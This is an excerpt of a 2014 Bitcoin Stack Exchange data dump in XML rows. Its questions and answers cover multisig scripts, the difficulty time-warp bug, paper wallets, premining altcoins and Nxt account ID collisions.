  <row Id="20582" PostTypeId="2" ParentId="20579" CreationDate="2014-01-14T22:55:34.183" Score="5" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitbucket.org/JeanLucPicard/nxt-public/src/4073c21098076d3469b3f74d49e73ffabe3a2001/Nxt.java?at=master#cl-4972&quot;&gt;these lines&lt;/a&gt; an accountId seems to be...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int(sha256(publicKey(sha256(passphrase)))[7:0], 256)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which translates to 256^8 accounts or roughly 2 * 10^19, which fits the idea of around 20 arabic numerals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given there are only 2^64 unique accountId and the &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_paradox#Probability_table&quot;&gt;birthday paradox&lt;/a&gt;, you can check this &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_paradox#Probability_table&quot;&gt;collision probability table&lt;/a&gt; (the 16 bytes/64 bits row). &lt;strong&gt;If each person in the world had a single Nextcoin account, the collision probability is greater than 75%!&lt;/strong&gt; I'm sure this is the least of their problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks really amateurish. &lt;strong&gt;Really&lt;/strong&gt; amateurish. Really, REALLY, &lt;strong&gt;REALLY&lt;/strong&gt; amateurish. Stay away from this coin!&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-15T01:08:56.080" LastActivityDate="2014-01-15T01:08:56.080" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20583" PostTypeId="1" AcceptedAnswerId="20584" CreationDate="2014-01-14T23:33:48.500" Score="3" ViewCount="6654" Body="&lt;p&gt;Looking to create an Altcoin for fun and I heard about premining. Can this be done to premine all the coins without leaving my computer mining for days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed a guide here: &lt;a href=&quot;http://andarazoroflove.org/how-to-create-alt-coin-scrypt-clones-for-fun-and-profit-bitcoin-litecoin-secrets-exposed/&quot; rel=&quot;nofollow&quot;&gt;http://andarazoroflove.org/how-to-create-alt-coin-scrypt-clones-for-fun-and-profit-bitcoin-litecoin-secrets-exposed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13316" LastEditorUserId="5757" LastEditDate="2014-01-15T00:07:55.497" LastActivityDate="2014-05-03T02:05:38.427" Title="How Would One Premine an AltCoin?" Tags="|bitcoind|altcoin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20584" PostTypeId="2" ParentId="20583" CreationDate="2014-01-15T00:10:55.807" Score="6" Body="&lt;p&gt;If you create the coin, you get to make the rules.  Nothing stops you from patching the software to make your premining as easy or as hard as you want.  For instance, you could set the difficulty schedule so that the first billion coins require very little or zero proof of work to mine; then you could mine them all at once and award them to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the hard part becomes convincing anyone else to use a currency that's so obviously slanted in your favor.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-15T00:10:55.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20586" PostTypeId="1" AcceptedAnswerId="20594" CreationDate="2014-01-15T01:47:39.750" Score="3" ViewCount="219" Body="&lt;p&gt;I was wondering if some economists started to create a research group around BitCoin, or published academic paper on it. In general, I was wondering how BitCoin was analyzed and studied in academic research. &lt;/p&gt;&#xA;" OwnerUserId="11866" LastEditorUserId="5406" LastEditDate="2014-09-03T10:34:13.660" LastActivityDate="2014-09-03T10:34:13.660" Title="Economics article on BitCoin" Tags="|economic-theory|academic-research|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-17T00:27:16.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="20587" PostTypeId="2" ParentId="20530" CreationDate="2014-01-15T02:22:03.910" Score="1" Body="&lt;p&gt;I haven't yet used Bitstamp's streaming API but I think it's fairly safe to assume that you will only get real-time changes via those pusher channels. That means you need to make at least one initial call to their official REST API to get the full orderbook, and then keep it updated by applying the changes that you receive from the streaming API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are really stuck with websockets only (care to explain why?), you may need to build your own proxy middleware that can make that initial REST call and feed your client with the full orderbook via websockets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, be extra careful about relying on an unofficial and unsupported API which Bitstamp can change at any moment without prior warning.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2014-01-15T02:22:03.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20588" PostTypeId="2" ParentId="10832" CreationDate="2014-01-15T04:21:33.217" Score="1" Body="&lt;p&gt;if you're sending from a paper wallet loaded onto multibit you have to send all the bitcoins in one transaction or the remainder will be sent &quot;back&quot; as &quot;change&quot; to an address you don't control (controlled by Multibit).&#xA;Use Armory.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-01-15T04:21:33.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20591" PostTypeId="1" AcceptedAnswerId="20747" CreationDate="2014-01-15T09:23:39.130" Score="2" ViewCount="252" Body="&lt;p&gt;I tried to send a half signed multisig transaction to the testnet but it got rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is by design but has anyone some hard facts on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I think &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0010&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BIP_0010&lt;/a&gt; was the case I was looking for.&lt;/p&gt;&#xA;" OwnerUserId="12239" LastEditorUserId="12239" LastEditDate="2014-01-19T15:24:03.127" LastActivityDate="2014-01-19T15:24:03.127" Title="Is it possible to get the network to accept a partially signed multisig transaction?" Tags="|multi-signature|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="20592" PostTypeId="2" ParentId="10622" CreationDate="2014-01-15T10:27:05.750" Score="0" Body="&lt;p&gt;You can find another blocker.io &lt;a href=&quot;http://ltc.blockr.io&quot; rel=&quot;nofollow&quot;&gt;litecoin block explorer&lt;/a&gt; for alt currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ltc.blockr.io&quot; rel=&quot;nofollow&quot;&gt;Bockr.io Litecoin block explorer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12004" LastEditorUserId="12004" LastEditDate="2014-01-22T12:27:03.737" LastActivityDate="2014-01-22T12:27:03.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20593" PostTypeId="1" AcceptedAnswerId="20603" CreationDate="2014-01-15T12:03:22.557" Score="2" ViewCount="324" Body="&lt;p&gt;I used the &lt;a href=&quot;https://people.xiph.org/~greg/escrowexample.txt&quot; rel=&quot;nofollow&quot;&gt;guide&lt;/a&gt;, how to make escrow from bitcoin console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my transactions in testnet: &lt;a href=&quot;http://blockexplorer.com/testnet/tx/10d5b7f61be2fa2e5979043a7071d3dbd371bc72cefea22e43b2dd54a6e27a99&quot; rel=&quot;nofollow&quot;&gt;tx1&lt;/a&gt; &lt;a href=&quot;http://blockexplorer.com/testnet/tx/f019aff63c018ac1aaae7c4e8d408efdeb5572314645b2dcb7d35b1e7a71d431#i8171667&quot; rel=&quot;nofollow&quot;&gt;tx2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused about ScriptPublicKey in tx1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 a7a62637430b44c922cbce4fc8bd53d11b7c4c25 OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is just calculate Hash160 of top stack value, and compare it with &lt;code&gt;a7a6...25&lt;/code&gt;. &#xA;In the ScriptSig of tx2 we can see 4 values, which will be pushed to stack for validation. But vout script uses only the top stack value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5221020678adff50855b6748e93ab03667968817363fff84306d7ffc13276191fd7f542102bff39dce7ae4c6a06104ac4e49948eb7bac9d4a82e9e16df41b1436d31b76f0052ae&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other 2 values are signatures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304402205fdee0b00f5e2fa07324458fe06b47a41bb2ef4e73892343796e9f6456e378940220630b423ce14b0d5ed487da751c368d7fc0122efa21cac1a4afce7c3c017bf29f01&#xA;304502205edb6ce77a772346b21d60a775c81f52bec9e8957f795fce7ea4fab862bc656c022100fc1376399134348fae516d6e627b1f72c094affd3ba2f458685bdbe9b6a51f5e01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, this signatures are not validating by vout script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why this functionallity does not work with OP_CHECKMULTISIG?&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-15T16:07:45.003" Title="Completely confused with mutisig address and scripts" Tags="|script|testnet|escrow|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20594" PostTypeId="2" ParentId="20586" CreationDate="2014-01-15T12:14:46.457" Score="2" Body="&lt;p&gt;Currently, it seems, most of Bitcoin-related published research are of technical and legal nature (according to &lt;a href=&quot;http://scholar.google.ru/scholar?q=bitcoin&amp;amp;btnG=&amp;amp;hl=en&amp;amp;as_sdt=0%2C5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Scholar&lt;/a&gt;, &lt;a href=&quot;http://www.mendeley.com/research-papers/search/?query=bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mendeley&lt;/a&gt;, &lt;a href=&quot;https://en.bitcoin.it/wiki/Research&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wiki&lt;/a&gt;). &#xA;While there is some economical analysis performed by community (&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Economics&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/588/2343&quot;&gt;this question&lt;/a&gt;), I haven't managed to find any papers in peer-reviewed journals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quora.com/Bitcoin/Why-isnt-Bitcoin-interesting-to-leading-economists?share=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;This discission&lt;/a&gt; on Quora explains some of possible reasons for this. Excerpt from top answer by Erik Madsen:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Overall, Bitcoin is a fine example of a currency market, but it hasn’t&#xA;  (so far) told economists anything new about how the world works. It’s&#xA;  not surprising that most research on Bitcoin is from a cryptography&#xA;  standpoint, because that’s really the interesting part of the whole&#xA;  endeavor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and his comment on another answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Private currencies are no longer common, but they have existed.  And&#xA;  the intentional opaqueness of the market, and it IS quite opaque,&#xA;  means that its utility as a data source is severely limited.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-15T12:14:46.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20596" PostTypeId="2" ParentId="18829" CreationDate="2014-01-15T13:43:41.627" Score="3" Body="&lt;p&gt;Do not use Ebay to buy Bitcoins, it is against their terms and conditions are may cause problems for both you and the seller.&lt;/p&gt;&#xA;" OwnerUserId="12246" LastActivityDate="2014-01-15T13:43:41.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20597" PostTypeId="1" CreationDate="2014-01-15T13:44:38.087" Score="9" ViewCount="2288" Body="&lt;p&gt;I read through &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated/20527?noredirect=1#comment23334_20527&quot;&gt;How is difficulty calculated?&lt;/a&gt; and want to understand where the &quot;off-by-one&quot; bug is in calculating difficulty. Here is a Matlab snipet I wrote to calculate difficulty. What are the correct block step intervals that I should use? Note: &lt;code&gt;minv&lt;/code&gt; and &lt;code&gt;maxv&lt;/code&gt; are the block heights (plus 1) of the interval. Thus, time stamps from block heights 0 and 2015 are used in the first difficulty calculation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% Calculate difficulty&#xA;num = floor(length(block_chain)/2016);&#xA;minv = 1;&#xA;maxv = 2016;&#xA;target = 1209600;&#xA;difficulty = ones(num,4);&#xA;delta = zeros(num,1);&#xA;timedif = delta;&#xA;&#xA;for i = 1:num&#xA;    if i == 1&#xA;        difficulty(1,3) = 1;&#xA;        timedif(i) = block_chain(maxv,2) - block_chain(minv,2);&#xA;    else&#xA;        timedif(i) = block_chain(maxv,2) - block_chain(minv,2);&#xA;        delta(i) = max(0.25,min(target/timedif(i),4));&#xA;        difficulty(i,3) = max(1,difficulty(i-1,3)*delta(i));&#xA;    end&#xA;    difficulty(i,:) = [block_chain(minv,1), block_chain(maxv,1),...&#xA;        difficulty(i,3), timedif(i)];&#xA;    minv = maxv + 1;&#xA;    maxv = maxv + 2016;&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11606" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2024-04-06T06:51:16.640" Title="Where exactly is the &quot;off-by-one&quot; difficulty bug?" Tags="|protocol|difficulty|bitcoin-core-development|time-warp-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20598" PostTypeId="2" ParentId="20597" CreationDate="2014-01-15T14:45:28.957" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;https://litecoin.info/User%3aIddo/Comparison_between_Litecoin_and_Bitcoin#Bug_fixes&quot; rel=&quot;noreferrer&quot;&gt;Litecoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Time warp bug[14]: the Bitcoin difficulty calculation is off by one block, so an attacker can repeatedly try to generate the last block of each retarget window, and use a fabricated timestamp of 2 hours into the future in order to make the time difference from the first block in the retarget window high, thus lowering the difficulty by 0.5%. Because of the bug, the bogus timestamp isn't used as the first block in the next retarget window, and therefore the 2 extra hours aren't being compensated for in the next difficulty calculation. Once the difficulty is low, the attacker can mine many fast coins, or in the case of a small chain, an attacker with 51% hash power could reduce the difficulty to 1 and mine a new fork from the genesis block. This isn't a feasible attack on Bitcoin, because the probability of repeatedly generating the last block once every 2 weeks at such high difficulties is negligible. Although fixing this issue in Bitcoin is possible, it should be done carefully (by adding rules that encourage nodes to upgrade over time) so to avoid a chain fork, i.e. old clients who didn't upgrade might operate with another difficulty and therefore disagree regarding which blocks are valid. In Litecoin this bug is fixed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &quot;off-by-one&quot; or Time Warp Bug is caused because the difficulty calculation algorithm is not using overlapping periods, for the first recalc it uses blocks 1 up to 2016 and for the second it uses blocks 2017 up to 4032.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This alone is not a problem at all, but as the protocol has some allowance for time differences between the nodes this makes possible to lower the difficulty forging blocks with resolution time in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithm uses T(2016) - T(1) to calculate the speed of the network if block 2016 is created with a timestamp 2 hours in the future (max allowed by the protocol) then the difficulty will be a 0.5% lower of what it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If then block 2017 is found and the time is real (T(2017) can be less than T(2016)) then the extra time added to block 2016 will not be compensated in the next recalculation as it would be if for block 2 used T(4032) - T(2016) to find the speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more detailed attack scheme can be found at: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=43692.msg521772#msg521772&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=43692.msg521772#msg521772&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-15T14:45:28.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20599" PostTypeId="1" CreationDate="2014-01-15T14:54:10.250" Score="1" ViewCount="410" Body="&lt;p&gt;Am I able to transfer my wallet.dat from Ubuntu QT to Windows QT by backing up the file and pasting in the other operating system?&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="132" LastEditDate="2014-01-16T12:58:00.913" LastActivityDate="2014-01-16T12:58:00.913" Title="Is wallet.dat transferable between OS?" Tags="|ubuntu|wallet.dat|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20600" PostTypeId="2" ParentId="20599" CreationDate="2014-01-15T15:07:47.397" Score="1" Body="&lt;p&gt;Yes. There is nothing OS-specific in &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="12224" LastActivityDate="2014-01-15T15:07:47.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20601" PostTypeId="1" CreationDate="2014-01-15T15:08:56.630" Score="1" ViewCount="856" Body="&lt;p&gt;Someone robbed me at gunpoint and took my laptop. The laptop contained an encrypted hardrive with a wallet.dat file. Both the hardrive and wallet.dat had at best weak passphrases for the encryption. I have assumed both to be compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question has to do with the one-way permutation hash function of ripemd-160 to generate both the private and public keys used in brain wallet generators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I am assuming that wallet generators are using one way permutations. I could be wrong. If I am then please inform me. Most wallet generators use the brainwallet.py available on github.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an attacker has obtained your private key can he &quot;reverse engineer&quot; the key to obtain the original brain wallet passphrase used when the wallet was generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so I assume he can use that to bruteforce any other wallet that would use the same passphrase as a seed as mentioned in this post here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/questions/10246/question-regarding-multiple-sha-256-rounds-on-a-bitcoin-brain-wallet-passphrase&quot;&gt;https://crypto.stackexchange.com/questions/10246/question-regarding-multiple-sha-256-rounds-on-a-bitcoin-brain-wallet-passphrase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12247" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2014-01-16T01:16:27.240" Title="Can a brainwallet passphrase be derived if an attacker has obtained the private keys of an empty wallet.dat file?" Tags="|ripemd160|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20602" PostTypeId="2" ParentId="20564" CreationDate="2014-01-15T15:11:37.973" Score="0" Body="&lt;p&gt;I guess you mined coins and they are in your wallet, in which case you can transfer those coins wherever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open an account in an exchange (Bitstamp, Mtgox, Justcoin, Bitcurex, whatever), of course read that exchange terms of service and be sure you can transfer funds to your bank account from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have an account, locate that account's wallet (your wallet in the exchange) and transfer the Bitcoins you want to sell there. Now don't panic, it will take some time for your funds to appear in the exchange's wallet, since it usually takes 6 confirmations for the funds to be accesible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have two options, sell the Bitcoins at its actual price (which is immediate) or set your own price (which can take more or less time according to the price you set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have sold your Bitcoins you have to withraw your real money to your bank account, for that the exchange may need to identify you with ids, telephone bills to match them with your address or the like. Once everything is clear the money will be transfered to your bank and you will have it in a few days depending on the transfer time between banks. &lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-15T15:11:37.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20603" PostTypeId="2" ParentId="20593" CreationDate="2014-01-15T16:07:45.003" Score="1" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0016&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This new transaction type is redeemed by a standard scriptSig:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;...signatures... {serialized script}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{serialized script} is popped off the initial stack, and the transaction is validated again using the popped stack and the deserialized script as the scriptPubKey.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case, &lt;code&gt;{serialized script}&lt;/code&gt; is &lt;code&gt;{m [pubkey1] [pubkey2] ... [pubkeyn] n OP_CHECKMULTISIG}&lt;/code&gt; for a &lt;code&gt;m-of-n&lt;/code&gt; transaction. When Bitcoin detects one of these special transactions, the serialized script is popped of the stack as soon as its hash is validated (you're validating the script hash! not an actual public key!) and then executed with the remaining stack intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your payment script looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 /* null element because a bug pops one-too-many items */&#xA;304402205fdee0b00f5e2fa07324458fe06b47a41bb2ef4e73892343796e9f6456e378940220630b423ce14b0d5ed487da751c368d7fc0122efa21cac1a4afce7c3c017bf29f01 &#xA;304502205edb6ce77a772346b21d60a775c81f52bec9e8957f795fce7ea4fab862bc656c022100fc1376399134348fae516d6e627b1f72c094affd3ba2f458685bdbe9b6a51f5e01 &#xA;5221020678adff50855b6748e93ab03667968817363fff84306d7ffc13276191fd7f542102bff39dce7ae4c6a06104ac4e49948eb7bac9d4a82e9e16df41b1436d31b76f0052ae&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last part (&lt;code&gt;5221020678...52ae&lt;/code&gt;) is actually your serialized script. If you decode it you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 020678adff50855b6748e93ab03667968817363fff84306d7ffc13276191fd7f54 02bff39dce7ae4c6a06104ac4e49948eb7bac9d4a82e9e16df41b1436d31b76f00 2 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is a 2-of-2 transaction!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two parts not including the null element (the ones that look like &lt;code&gt;304...01&lt;/code&gt;) are just your provided signatures which are going to validate against the serialized public keys when &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt; is executed.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-15T16:07:45.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20604" PostTypeId="2" ParentId="20163" CreationDate="2014-01-15T16:16:11.673" Score="5" Body="&lt;p&gt;(I assume here that you have a simple single-address paper wallet, like the ones from BitAddress.org. I also seem to have understood that you use the Blockchain.info app to make the payment.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to decide yourself where the change goes (using the web-apps's Custom Send feature), but &lt;strong&gt;Blockchain.info's default behaviour is to send it back to the original address&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially if you have a paper wallet with only one address, Blockchain.info won't generate new change addresses for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is what happens:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's say you received two transactions on your paper wallet. One for 2 BTC and one for 3 BTC. When you try to send 1 BTC to someone, the Blockchain.info app will:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Take an output that has at least 1 BTC. This can be done randomly, but I suppose it will take &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;nofollow&quot;&gt;the oldest one&lt;/a&gt;. If you don't have an output large enough, it will combine multiple ones until they have at least 1 BTC all together. Suppose the 3 BTC output is chosen.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;It will make a new transaction with the 3 BTC as input. It will create an output for the 1 BTC you want to send to another address. It will then have to specify what to do with the other 2 BTC.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Considering that it only knows about one of your addresses, it will use this address for change. This means an additional output is created for 2 BTC, sending them (back) to your paper wallet address. (Note that Blockchain.info charges the minimal transaction fee by default, so this will be deducted from the 2 BTC change.)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So basically, you don't have to fear for losing your coins.&lt;/strong&gt; And you will be able to spend the change from your paper wallet automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;! This type of use, is &lt;a href=&quot;http://bitcoin.org/en/protect-your-privacy&quot; rel=&quot;nofollow&quot;&gt;not what paper wallets are intended for&lt;/a&gt;. Using Bitcoin, you are supposed to use a new address for every transaction. This is to ensure your privacy. When you use your paper wallet like this, everyone you ever made a transaction to or that ever made one to you will know your balance. This is obviously not what you want. Paper wallets are originally intended to store an amount of coins safely offline. When you want to use them again, your privacy ensured only if you send them back to a regular wallet that uses change addresses like it is supposed to.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="14410" LastEditDate="2014-05-27T21:39:08.427" LastActivityDate="2014-05-27T21:39:08.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20607" PostTypeId="2" ParentId="20601" CreationDate="2014-01-15T16:35:39.580" Score="1" Body="&lt;p&gt;Sorry to hear you were robbed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attacker cannot reverse engineer a private key to obtain the original mnemonic phrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What essentially happens is just another multitude of hashes with an algorithm (SHA256). Different approaches to this are taken by different deterministic wallet generators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As SHA256 is considered secure. So is your mnemonic phrase&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-15T16:35:39.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20611" PostTypeId="1" AcceptedAnswerId="20623" CreationDate="2014-01-15T16:51:00.660" Score="12" ViewCount="3525" Body="&lt;p&gt;I understand what change is and how it works (and it's analogous to physical money change), but what I don't understand is why this is needed in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that this is all computer based, I thought that money could be sent just by saying “I will give you 0.5 BTC” and verifying that your addresses in fact contain more than 0.5 BTC, and then substracting the spent amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, why does the protocol define that outputs must be spent entirely? Where's the benefit of doing that instead of just sending the fraction that is needed?&lt;/p&gt;&#xA;" OwnerUserId="3919" LastEditorUserId="5406" LastEditDate="2016-03-11T13:37:24.330" LastActivityDate="2019-02-27T14:12:39.430" Title="Why do outputs need to be spent entirely?" Tags="|transactions|utxo|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20614" PostTypeId="2" ParentId="20574" CreationDate="2014-01-15T17:01:46.237" Score="1" Body="&lt;p&gt;I'm writing a BitcoinJ port for .NET (C#, Visual Basic, etc), but since I'm doing it on my free time, it's nowhere near complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other way to use BitcoinJ in .NET is through IKVM (which I didn't use due to some limitations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about other languages, but I hope this is helpful.&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-01-15T17:01:46.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20616" PostTypeId="1" AcceptedAnswerId="20617" CreationDate="2014-01-15T17:53:03.717" Score="9" ViewCount="367" Body="&lt;p&gt;I created a paper wallet from coinbase with some initial amount and secured it. I want to keep adding more bitcoins to the same address. Can I do that? Are there any issues doing it?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="132" LastEditDate="2014-01-16T13:10:22.260" LastActivityDate="2014-01-17T14:03:41.003" Title="Can more bitcoins be transferred to a paper wallet address once it is created?" Tags="|paper-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20617" PostTypeId="2" ParentId="20616" CreationDate="2014-01-15T18:22:28.147" Score="12" Body="&lt;p&gt;Yes, you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet itself does not hold any money. It is just a private key, to which the coins will be associated.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="5406" LastEditDate="2014-01-17T14:03:41.003" LastActivityDate="2014-01-17T14:03:41.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
